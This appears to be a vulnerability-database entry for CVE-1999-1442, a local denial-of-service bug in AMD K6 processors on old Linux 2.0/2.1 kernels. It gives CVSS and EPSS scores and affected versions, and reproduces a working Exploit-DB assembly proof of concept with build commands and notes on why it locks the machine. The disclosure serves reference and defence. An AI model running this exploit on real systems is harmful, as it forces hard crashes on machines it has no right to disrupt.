CVE-1999-1442 : Detail

CVE-1999-1442

0.32%V4
Local
2001-09-12
02h00 +00:00
2024-08-01
17h11 +00:00
CVE.org
NVD
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CVE Descriptions

Bug in AMD K6 processor on Linux 2.0.x and 2.1.x kernels allows local users to cause a denial of service (crash) via a particular sequence of instructions, possibly related to accessing addresses outside of segments.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19082

Publication date : 1998-05-31 22h00 +00:00
Author : Poulot-Cazajous
EDB Verified : Yes

source: https://www.securityfocus.com/bid/105/info A bug in Advance Micro Devices K6 processor allows non-privileged code to crash the machine. Under Linux 2.1.x a bug stops this vulnerability. $ cat a.s .text .align 4096 /* r1 */ .globl _start _start: movl _start, %edi /* S1 */ cmpb 0x80000000(%edi),%dl /* r2, S2 */ je nowhere /* r3 */ ret $ as -o a.o a.s $ ld -defsym nowhere=0xc0000000 a.o $ ./a.out <lockup. hard reset required> Remarks : r1) _start must be aligned, otherwise you get a segfault instead of a lockup. r2) Using movb instead of compb does not work. r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended at bfffffff. After and including 2.1.43, escaping is not possible, because the code segment covers the whole address space (reducing this segment to 3.75 GB allows to trigger the bug on 2.1.103). Speculations : S1) edi must be loaded with the address of something in a deep cache on the CPU. _start works well. S2) tries to access an invalid address. This address should look like an already cached address. If only the highest bits are different, it is probably more difficult to notice that the address is not really cached. So using _start+0x80000000 works well.

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.0.0 To (including) 2.0.39

Linux>>Linux_kernel >> Version From (including) 2.1.0 To (including) 2.1.132

References

http://www.securityfocus.com/bid/105
Tags : vdb-entry, x_refsource_BID